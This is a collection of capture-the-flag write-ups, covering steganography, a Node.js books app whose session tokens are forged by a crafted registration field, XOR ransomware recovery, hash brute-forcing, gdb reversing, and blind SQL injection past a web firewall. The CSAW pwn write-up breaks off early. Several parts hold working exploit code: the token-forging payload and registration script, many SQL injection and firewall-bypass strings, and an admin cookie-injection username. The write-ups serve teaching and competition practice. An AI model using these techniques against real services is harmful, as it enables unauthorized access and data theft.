cookie:```IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000052``` |
# EagleEye### (Junior - 1pts)> Do you see it?

------As we are given a png image then it would most probably be a steganography challenge
Thus, I ran it with my stego goto [tool](https://github.com/bannsec/stegoVeritas)
In it auto-analysis mode's output of blue colormap  we see our flag in top left corner
------Flag: DCTF{912c07726142de12943b76a89d40847028330f0a1a0be1ac24503c57242404ab} |
```Organize those rectangular things that take physical space!
https://books.web.ctfcompetition.com/
[Attachment]```
Downloaded the attachment. Surprise, the code is in there for the books CMS. I don't have to blackbox it.
NodeJS. Beautiful.
Started looking through the code. Sniffing for anything out of place.```json{ "dependencies": { "@google-cloud/datastore": "1.3.4", "@google-cloud/storage": "1.6.0", "body-parser": "1.18.2", "express": "4.16.2", "lodash": "4.17.5", "mongodb": "3.0.2", "multer": "1.3.0", "mysql": "2.15.0", "nconf": "0.10.0", "prompt": "1.0.0", "pug": "2.0.0-rc.4", "uglify-js": "3.3.12", "cookie-parser": "latest", "uuid": "latest" },}```
My guess is that there is nothing I can do about the google-cloud storage and datastore. They won't expose a vulnerability for this challenge on their main server, so uploading a php shell (2000's h4x0r style) is out of the question.
The fact that the versions are fixed raises a question mark. but they're the latest, so moving on.
Enter `./app.js`We have```javascriptapp.use('/books', require('./books/crud'));app.use('/user', require('./books/user'));```
but nothing much else. Moving on through the files.
`books/api.js` -- found out the hard way it's not actually used. Maybe something changed and they forgot it here.
`books/crud.js` -- crud operations on books
`books/user.js` -- well here it gets interesting
```javascriptlet data = req.body;
let u = await userModel.get(h(data.name));
if (u) { res.status(400).send('User exists.'); return;}
if (req.file && req.file.cloudStoragePublicUrl) { data.image = req.file.cloudStoragePublicUrl;}
if (data.name === 'admin') { res.status(503).send('Nope!'); return;}
data.age = data.age | 0;
if (data.age < 18) { res.status(503).send('You are too young!'); return;}
data.password = h(data.password);
userModel.update(h(data.name), data, () => { res.redirect('/');});```
Particularly when he says I can't register as an `admin`. BUT MOOOOOM!!!. Well you can't. That's the *First Clue*. I gotta have it.
Looking through `lib` directory I found- lib/auth.js- lib/bwt.js- lib/images.js
Analyzed `auth.js`. Seems that if you login, there's a middleware that creates your session cookie. And it's a BWT. Kinda like a young cousin of JWT that looks at the world with hope. Well that's a clue. The Second Clue. Why not just use JWT my dudes? Because that would make the challenge impossible. maybe. i guess.
Soo. `bwt.js`
```javascript'strict';
const crypto = require('crypto');
function pint(n) { let b = new Buffer(4) b.writeInt32LE(n) return b}
function encode(o, KEY) { let b = new Buffer(0)
for (let k in o) { let v = o[k]
b = Buffer.concat([b, pint(k.length), Buffer.from(k)])
switch(typeof v) { case "string": b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())]) break case 'number': b = Buffer.concat([b, Buffer.from([2]), pint(v)]) break default: b = Buffer.concat([b, Buffer.from([0])]) break } }
b = b.toString('base64')
const hmac = crypto.createHmac('sha256', KEY) hmac.update(b) let s = hmac.digest('base64')
return b + '.' + s}
function decode(payload, KEY) { let [b, s] = payload.split('.')
const hmac = crypto.createHmac('sha256', KEY) hmac.update(b) if (s !== hmac.digest('base64')) { return null; }
let o = {} let i = 0 b = new Buffer(b, 'base64')
while (i < b.length) { n = b.readUInt32LE(i), i += 4 k = b.toString('utf8', i, i+n), i += n t = b.readUInt8(i), i += 1
switch(t) { case 1: n = b.readUInt32LE(i), i += 4 v = b.toString('utf8', i, i+n), i += n o[k] = v break case 2: n = b.readUInt32LE(i), i += 4 o[k] = n break default: break } } return o}
module.exports = function(key) { return { encode: (o) => encode(o, key), decode: (p) => decode(p, key) }}```
I looked really deep into it's easy. But couldn't see anything. How do you break the key?! You don't... Maybe HMAC? Nope.
Looking around the site I noticed that if I login multiple times, the keys scramble around in the session.
```< set-cookie: auth=BAAAAG5hbWUBCQAAAG55dHIwZ2VuMQgAAABwYXNzd29yZAFAAAAANjVlODRiZTMzNTMyZmI3ODRjNDgxMjk2NzVmOWVmZjNhNjgyYjI3MTY4YzBlYTc0NGIyY2Y1OGVlMDIzMzdjNQMAAABhZ2UCFAAAAAQAAABkZXNjAQQAAAAxMjM3AgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.YBcJKLB6va%2BHpADFIIfxssCuUqeKnp9v2evfPOgSnCM%3D; Path=/
\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c
< set-cookie: auth=BAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xCAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAAAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.03lJdjbM2jI3z4P458fD5%2FdTb97bEvoXAOHaAUI5Ohs%3D; Path=/
\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c
< set-cookie: auth=CAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAABAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.3VHfeHTFDGEr7tHcFj3%2By8DoAGZRxyqlXlFygJDfg40%3D; Path=/
\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c```
kinda like this. well I got this idea. While eating some nutella with pancakes. that maybe, maybe I can get a combination on login that could put `desc` the last. And with that I can write some magical stuff and overwrite the `id`. Which seems to be the last one always. You can check `curl-login.sh` for repeated SPAAM.
Well the idea seems valid. I gotta be admin right?! But going back to `bwt.js` my idea is smashed into little pieces because he takes `length` into account.
```javascript// k is for key// v is for valueb = Buffer.concat([b, pint(k.length), Buffer.from(k)])switch(typeof v) { case "string": b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())]) break case 'number': b = Buffer.concat([b, Buffer.from([2]), pint(v)]) break default: b = Buffer.concat([b, Buffer.from([0])]) break```
but wait. what is that `Buffer.byteLength(v)`. It seems you use that for utf8. There's a neat example on [nodejs docs](https://nodejs.org/api/buffer.html#buffer_class_method_buffer_bytelength_string_encoding). `// Prints: ยฝ + ยผ = ยพ: 9 characters, 12 bytes` Omg that's exactly what I need. And would you look at that, the key uses `.length` and only the value is encoded with `byteLength`. BIG CLUE. What if we insert some multibyte chars, so it decodes before the key ends. But can we?! I remembered something strange I saw earlier.
In `views/user/reg.pug` there's a field called `desc`. But there is no `desc` field in `books/user.js`. How can that be?! Well I gotta check the model. Modern Advanced 31337 Corporate Frameworks check fields and validate in there.
We're looking for `userModel.update````javascriptfunction toDatastore (obj, nonIndexed) { nonIndexed = nonIndexed || []; let results = []; Object.keys(obj).forEach((k) => { if (obj[k] === undefined) { return; } results.push({ name: k, value: obj[k], excludeFromIndexes: nonIndexed.indexOf(k) !== -1 }); }); return results;}
function update (id, data, cb) { let key; if (id) { key = ds.key([kind, id.toString()]); } else { key = ds.key(kind); }
const entity = { key: key, data: toDatastore(data) };
ds.save( entity, (err) => { data.id = entity.key.name; cb(err, err ? null : data); } );}```
NO WAY MAN. everything I send to that register is stored in the db.
SO I can manufacture a special key, which decodes into the object I want. Can I overwrite the id? Hell yeah. If I just make the decoder somehow comment out the id, I'm gold.
From here I just had to understand how the encoder `lib/bwt.js` moves the bits around. And then I created a register payload.
At this point I got so fluent in BWT code that I didn't code anything to spill out bwt code for me. It was like second nature. I created `bwt-payload.js` to test my wild theories, which is basically a `lib/bwt.js` without the hmac.```javascript'strict';
const crypto = require('crypto');
function pint(n) { let b = new Buffer(4) b.writeInt32LE(n) return b}
function encode(o) { let b = new Buffer(0)
for (let k in o) { let v = o[k]
b = Buffer.concat([b, pint(k.length), Buffer.from(k)])
switch(typeof v) { case "string": b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())]) break case 'number': b = Buffer.concat([b, Buffer.from([2]), pint(v)]) break default: b = Buffer.concat([b, Buffer.from([0])]) break } }
b = b.toString('base64')
return b}
function decode(b) { let o = {} let i = 0 b = new Buffer(b, 'base64')
while (i < b.length) { n = b.readUInt32LE(i), i += 4 k = b.toString('utf8', i, i+n), i += n t = b.readUInt8(i), i += 1
console.log(k, n);
switch(t) { case 1: n = b.readUInt32LE(i), i += 4 v = b.toString('utf8', i, i+n), i += n o[k] = v break case 2: n = b.readUInt32LE(i), i += 4 o[k] = n break default: break } } return o}
// encode non printablevar encodeNP = function(s){ var hex, c; var result = ''; for (var i = 0; i < s.length; i++) { c = s[i]; if (c >= 32 && c <= 126) { result += String.fromCharCode(c); } else { hex = c.toString(16); result += '\\u' + ('000'+hex).slice(-4); } }
return result;}
const payload = { 'name': 'nytr0gen31337', 'age': 20, 'desc': 13, "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" + "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" + "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000", 'password': '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5', 'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'};console.log(payload);const plm = encode(payload);console.log(plm);console.log(encodeNP(new Buffer(plm, 'base64')));console.log(decode(plm));```
```javascript// PAYLOAD BEFORE ENCODING{ 'name': 'nytr0gen31337', 'age': 20, 'desc': 13, "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" + "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" + "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000", 'password': '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5', 'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'}```
What interests us is this part```"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" + "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" + "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",```
So we have `4*z`, `5*\u00bd` and `\u0001\u0005\u0000\u0000\u0000`. This helps us skip 5 magic header bits from the key. Specifically `\u0001\u00bb\u0000\u0000\u0000`. So everything in the value part gets decoded as new keys.
name. `\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin` admin yeah
id. `\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918`. sha256('admin')
password. `\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5`. sha256('qwerty')
As you have seen before, id is always put last when creating the session cookie. We have to make the decoder skip it, because it will overwrite our id. bad.
`\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000`. this does exactly that. under the key `pl` with a length of `\u00ff\u00ff\u0000\u0000 == 65535`. It seems that if I tried a length lesser than what was after it, the script will fail miserably. But anything bigger is cool.
What does it look like after decoding?
```javascript// ENCODED_PAYLOAD AFTER DECODING{ name: 'admin', age: 20, desc: 13, 'zzzzยฝยฝยฝยฝยฝ': '\u0001\u00bb\u0000\u0000\u0000', id: '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918', password: '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5', pl: '\u0000\u0000\b\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918' }```
We're IN! now i just have to register with that payload.
```javascript// Requires NodeJs// and `npm install axios`const axios = require('axios');const querystring = require('querystring');
axios({ method: 'post', url: `https://books.web.ctfcompetition.com/user/register`, headers: { referer: 'https://books.web.ctfcompetition.com/user/register', 'Content-Type': 'application/x-www-form-urlencoded', }, data: querystring.stringify({ 'name': 'nytr0gen31337', 'age': 20, 'desc': 13, "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" + "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" + "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" + "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000", 'password': 'qwerty', }),}).then((response) => { console.log(response.data);}).catch((err) => { console.error(err);});```
login as `nytr0gen31337` and we're finished, go to my books.
```CTF{1892b0d8bc93d7e4ca98975f47f8c7d8}```
that look like an md5. what's in there? |
# DefCamp CTF 2018: EagleEye***Category: Stego***>*Do you see it?*## SolutionFor this challenge, we are given an image, [chall.png](chall.png).
This challenge is a pretty simple stego challenge. If you open the file in `StegSolve` and switch to the gray bits plane, the [flag](solve.png) can be found in the top left corner.***Flag: `DCTF{912c07726142de12943b76a89d40847028330f0a1a0be1ac24503c57242404ab}`*** |
- [Ransomware](#ransomware)- [Memsome](#memsome)- [Get Admin](#get-admin)
# Ransomware
I got the first blood, it's the easiest one.
decompile the .pyc ```pyimport stringfrom random import *import itertools
def caesar_cipher(buf, password): password = password * (len(buf) / len(password) + 1) return ('').join((chr(ord(x) ^ ord(y)) for x, y in itertools.izip(buf, password)))
f = open('./youfool!.exe', 'r')buf = f.read()f.close()allchar = string.ascii_letters + string.punctuation + string.digitspassword = ('').join((choice(allchar) for OOO0OO0OO00OO0000 in range(randint(60, 60))))buf = caesar_cipher(buf, password)f = open('./D-CTF.pdf', 'w')buf = f.write(buf)f.close()```
It's a reapeating xor cipher, can be cracked by frequency analysis.
Got a almost correct key by frequency analysis,then try to refine it with PDF file format (something like `/Length`, `num num obj`, `/Format`).
```pyfrequency_analysis_key = [0x3a,0x50,0x2d,0x40,0x75,0x1a,0x4c,0x22,0x59,0x31,0x4b,0x24,0x5b,0x58,0x29,0x66,0x67,0x5b,0x39,0x22,0x2e,0x34,0x35,0x59,0x71,0x39,0x69,0x3e,0x65,0x56,0x29,0x3c,0x30,0x43,0x3a,0x28,0x27,0x71,0x34,0x6e,0x02,0x5b,0x68,0x47,0x64,0x2f,0x45,0x65,0x58,0x2b,0xbc,0x37,0x2c,0x32,0x4f,0x22,0x2b,0x3a,0x5b,0x77]
key = [58, 80, 45, 64, 117, 83, 76, 34, 89, 49, 75, 36, 91, 88, 41, 102, 103, 91, 124, 34, 46, 52, 53, 89, 113, 57, 105, 62, 101, 86, 41, 60, 48, 67, 58, 40, 39, 113, 52, 110, 80, 91, 104, 71, 100, 47, 69, 101, 88, 43, 69, 55, 44, 50, 79, 34, 43, 58, 91, 50]```
# Memsome
A C++ program, read the secret_file and do rot13 on it.Then do base64->md5->md5 to every char of rot13ed-key , every result have to match with:
```pychunk =["98678de32e5204a119a3196865cc7b83", "e5a4dc5dd828d93482e61926ed59b4ef", "68e8416fe8d00cca1950830c707f1e22", "226c14d44cd4e179b24b33a4103963c2", "0b3dfc575614989f78f220e037543e55", "75ac02c02f1f132e6c7314cad02f17cd",...]```
So, just brute force byte by byte:
```pyfrom base64 import b64encodeimport hashlibrot13_key = ""for i in range(len(chunk)): for test in range(256): if hashlib.md5(hashlib.md5(b64encode(chr(test))).hexdigest()).hexdigest() == chunk[i]: rot13_key += chr(test) break#rot13_key = QPGS{9nn149q1n8n825s582sn7684713pn64rp77ss33oqn71qr76o51o0n8s1026303p}
#key = DCTF{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c}```
# Get Admin
The format of cookie is
`AES(idยกvalueรทusernameยกvalueรทemailยกvalueรทchecksumยกvalue)` + `length of plaintext`
Like :
`IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000086`
We have to make our id equals to `1` to become admin, so just register with username `aaaaรทidยก1รทchecksumยกXXXXXXXXX`, then the whole token would become `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXXรทemailยกvalueรทchecksumยกvalue`
Now, because we can control the length of plaintext, just set it to the length of `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXX`, we can overwrite the `id`,thus, the checksum is `crc32(idยก1รทusernameยกaaaa)` , the username should be `aaaaรทidยก1รทchecksumยก1319112219`.
cookie:```IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000052``` |
# SimplePassword### (Junior - 1pts)> Can you guess what is wrong with [the password](SimplePass)
------It this binary we need to find the write password to get the flag
It is 64-bit linux ELF```Shell$ file SimplePassSimplePass: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=caf8649b898078889978fa4a3be29437124c214c, not stripped```On checking with strings it is clear our flag is *DCTF{sha256(your_number)}*
So, and it even asks for password, on running it is that, but no output if wrong password
If right number given it will print *DCTF{sha256(your_number)}*
Then we need to find that number, the number is not a constant as it would be easily identifiable during disassembly
There multiple calls to *<_Z9Fibonaccii>* and it's return values are added, multiplied, bits shifted to form a number
Then that number is compared with one we provide
So either you can do all those steps or be smart and read from stack what number is generated
The number will be passed to a function to compare & while looking for that
I found a function *<_ZNSt7__cxx119to_stringEi>* right before call to compare
This function will convert int to string which right after all calculations from *<_Z9Fibonaccii>*
So I target to get that int from this function's input
That's what I did using gdb```GDB$ gdb ./SimplePass(gdb) breakpoint mainBreakpoint 1 in main()(gdb) disassemble// find address of instruction which calls function for compare *<_ZNSt7__cxx119to_stringEi>*(gdb) breakpoint *(address found)Breakpoint 2 in <main+216>()(gdb) runBreakpoint 1 hit(gdb) continuePassword?// give any random inputBreakpoint 2 hit```These instructions provide input of one string pointer and one integer given in esi and rdi registers for *int_to_string*```GDB<main+204>: lea -0x40(%rbp),%rax<main+208>: mov -0x64(%rbp),%edx<main+211>: mov %edx,%esi<main+213>: mov %rax,%rdi<main+216>: callq <_ZNSt7__cxx119to_stringEi>```esi contains integer number that we need to give for success
This is because it uses mov instruction and not lea which gives address *pointer* for string
So we print the number and test in binary```GDB(gdb) print $edx$1 = -366284240```Finally, number is confirmed then its sha256 is calculate and flag is obtained
------Flag: DCTF{554a58cfad51e0d7df7e8287fa96223780a249b104de60425908abf0b83c69aa} |
# secops (Web - 316pcts.)
```Firewalls proved to be very useful in our hosting environment as it protects against attacks on vulnerable sites of our clients.Target: https://secops.dctfq18.def.camp/Author: Anatol```
I'll keep it short. very short.
Simple website that let's me change my flair. It looks like this:

So when I click *set as flair* it sets my flair to anything in there. How does it do it? It's a binded onclick event on that button:
```javascript$('.hook-set').click(function() { var prefs = JSON.stringify({ flair: $(this).data('id') }); document.cookie = 'prefs' + "=" + encodeURIComponent(prefs) + "; path=/"; location.reload();});```
So after fiddling around a bit, I find that the flair with id 4 has the Name `Flag`. That's like jackpot. Easy challenge. Done. lol.
I was thinking the actual flag is in the Price. As you can see the table has 3 columns: id, name, price. Cool.
It's a pain to work with the cookie encoded, so I scripted a little nodejs tool to help me `pwn.js` to do the hard part for me so I could just try different sqli attack vectors. I didn't need much to discover there was an Web Application Firewal in place (a bit later a teammate pointed it out to me that it said so in the description lol. gotta read it more carefully next time)
The query inside I guessed looks something like this `SELECT name FROM table WHERE id = '%id';`. I played with my tool a bit:
```node pwn.js "' or 1=1--"node pwn.js "' or 1=1#"node pwn.js "' or 1=1##"node pwn.js "' or 1=1/*"node pwn.js "' or 1=1###"node pwn.js "' or 1=1"node pwn.js "' or 1='1"node pwn.js "' or 1=1'"node pwn.js "4' or 1=1'"node pwn.js "4' or 1''=1'"node pwn.js "4' or '1'=1'"node pwn.js "4' or '80'=1'"node pwn.js "4' or 80=1'"node pwn.js "4' or 80=80'"node pwn.js "4' or 80=80''"node pwn.js "4' or 80=80'''"node pwn.js "4' or 16='0xf"node pwn.js "4' or 16=0xf'"node pwn.js "4' or 1='"node pwn.js "3' or sleep(5000)='"node pwn.js "3' or sleep(500000)='"node pwn.js "3' or 1='"node pwn.js "3'\"\n"node pwn.js "3'"node pwn.js "3' or sleep(1)=0"node pwn.js "3' or sl/**/eep(1)=0"node pwn.js "3' or sl/**/eep(1)='0"node pwn.js "3' or sl/**/eep(50)='0"node pwn.js "3' or SLeEp(50)='0"node pwn.js "3' or SLeEp (50)='0"node pwn.js "3' or benchmark(200000,md5(now()))='0"node pwn.js "3' or benchmark()='0"node pwn.js "3' or b/**/enchmark()='0"node pwn.js "3' or md5()='0"node pwn.js "3 or md5()=0"node pwn.js "3' or"node pwn.js "3' or 1=1--"node pwn.js "3' or 1=1/*"node pwn.js "3' or 1=1#"```
All failures. Website was sending 500 on SQL ERROR. Otherwise, WAF was blocking the request with 403. almost every time.
Then I figured out after reading a bit on WAF on OWASP that maybe it reacts somehow toa cookie like `{"flair":"a","flair":${JSON.stringify(flair)},"flair":"b"}`. Nope. But that pointed me on the right direction. The WAF was accepting some things when I used quotes around them. So what if quote left and right, json valid, and send it. Hopefully WAF uses a regex, not a json parser (who parses cookies for JSON?!), so maybe it's not that strict inside quotes.
We got a winner.`{"flair":"'","flair":${JSON.stringify(flair)},"flair2":"'"}`PS: I dont think the first flair key is necessary but I didn't test it.
So back to testing attack vectors:```node pwn.js "3' order by '1"node pwn.js "3' order by '1'--#"node pwn.js "3' order by '1'"node pwn.js "3' order by 1"node pwn.js "3' or 1='1"node pwn.js "3' and 1='0"node pwn.js "3' union all select '1"node pwn.js "3' union sele/**/ct '1"node pwn.js "3' u/**/nion sele/**/ct '1"node pwn.js "3' union select '1"```
`Union select` blocked by WAF.
```node pwn.js "4' and length(price)<10 and 1='1"node pwn.js "4' and length(price)<5 and 1='1"node pwn.js "4' and length(price)<8 and 1='1"node pwn.js "4' and length(price)<6 and 1='1"node pwn.js "4' and length(price)<7 and 1='1"node pwn.js "4' and length(price)=6 and 1='1"node pwn.js "4' and left(price,2)='99' and 1='1"node pwn.js "4' and left(price,3)='999' and 1='1"node pwn.js "4' and left(price,4)='9999' and 1='1"node pwn.js "4' and left(price,4)='999.' and 1='1"node pwn.js "4' and left(price,5)='999.' and 1='1"node pwn.js "4' and left(price,5)='999.9' and 1='1"node pwn.js "4' and left(price,7)='999.99' and 1='1"node pwn.js "4' and left(price,6)='999.99' and 1='1"node pwn.js "4' and (sel/**/ect 1 from information_schema)='999.99' and 1='1"node pwn.js "4' and (sel/**/ect 1 from informat/**/ion_schema)='999.99' and 1='1"node pwn.js "4' and (union select 1 from informat/**/ion_schema)='999.99' and 1='1"```
The flag wasn't in `price` :(. also `information_schema` blocked.
```node pwn.js "4' order by '1"node pwn.js "4' and length(flag)='999.99' and 1='1"node pwn.js "4' and length(flag)>0 and 1='1"node pwn.js "4' and length(flag)>10 and 1='1"node pwn.js "4' and length(flag)<100 and 1='1"node pwn.js "4' and length(flag)<50 and 1='1"node pwn.js "4' and length(flag)<25 and 1='1"node pwn.js "4' and length(flag)<10 and 1='1"node pwn.js "4' and length(flag)<64 and 1='1"node pwn.js "4' and length(flag)=64 and 1='1"node pwn.js "4' and length(flag)=70 and 1='1"```
But on a lucky guess of a teammate I found out there was another column named `flag` and it had the right length (70 chars). Jackpot!
After that I coded a binary search into my script and waited a bit to get the flag. BLIND. The code is in `pwn.js`. To run it you need `nodejs````npm installnpm pwn.js``` |
* **Category:** pwn* **Points:** 200* **Description:**
> Did you know every Number in javascript is a float>> `pwn.chal.csaw.io:9002`>> nsnc>> [doubletrouble](https://ctf.csaw.io/files/1615e939e4ae439f743a908512e8384b/doubletrouble)
## Writeup
Let us start by connecting to the service via netcat and see what it does:
```bash$ nc pwn.chal.csaw.io 90020xffbd8018How long: 22Give me: 1.51.5Give me: 440:1.500000e+001:4.000000e+00Sum: 5.500000Max: 4.000000Min: 1.500000My favorite number you entered is: 1.500000Sorted Array:0:1.500000e+001:4.000000e+00```
Looks like it prints an address, then asks for a number of inputs, thenasks that number of times for a double number (the callenge name gave thataway) and finally prints some statistics and the sorted array.
We also get an elf binary, so let's start with `checksec`:
```bash$ checksec doubletrouble Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE```
Interesting, our stack is executable. Surely that is not by mistake.Lets continue analyzing the main function. It seems to be doing something likethis:
```cint main(int argc, const char **argv){ setvbuf(stdin, 0, 2, 0); game(); return 0;}```
The only important thing it does is calling `game`, so let's continue there:
```nasm (fcn) sym.game 633 sym.game (); ; var int local_21ch @ ebp-0x21c ; var signed int local_218h @ ebp-0x218 ; var char *str @ ebp-0x214 ; var int local_210h @ ebp-0x210 ; var int canary @ ebp-0xc ; var int local_8h @ ebp-0x8 ; CALL XREF from sym.main (0x804983c) 0x08049506 b 55 push ebp 0x08049507 89e5 mov ebp, esp 0x08049509 56 push esi 0x0804950a 53 push ebx 0x0804950b 81ec20020000 sub esp, 0x220 0x08049511 e81afcffff call sym.__x86.get_pc_thunk.bx 0x08049516 81c3ea2a0000 add ebx, 0x2aea 0x0804951c 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 0x08049522 8945f4 mov dword [canary], eax 0x08049525 31c0 xor eax, eax```
So as we saw earlier, this function uses a stack canary.
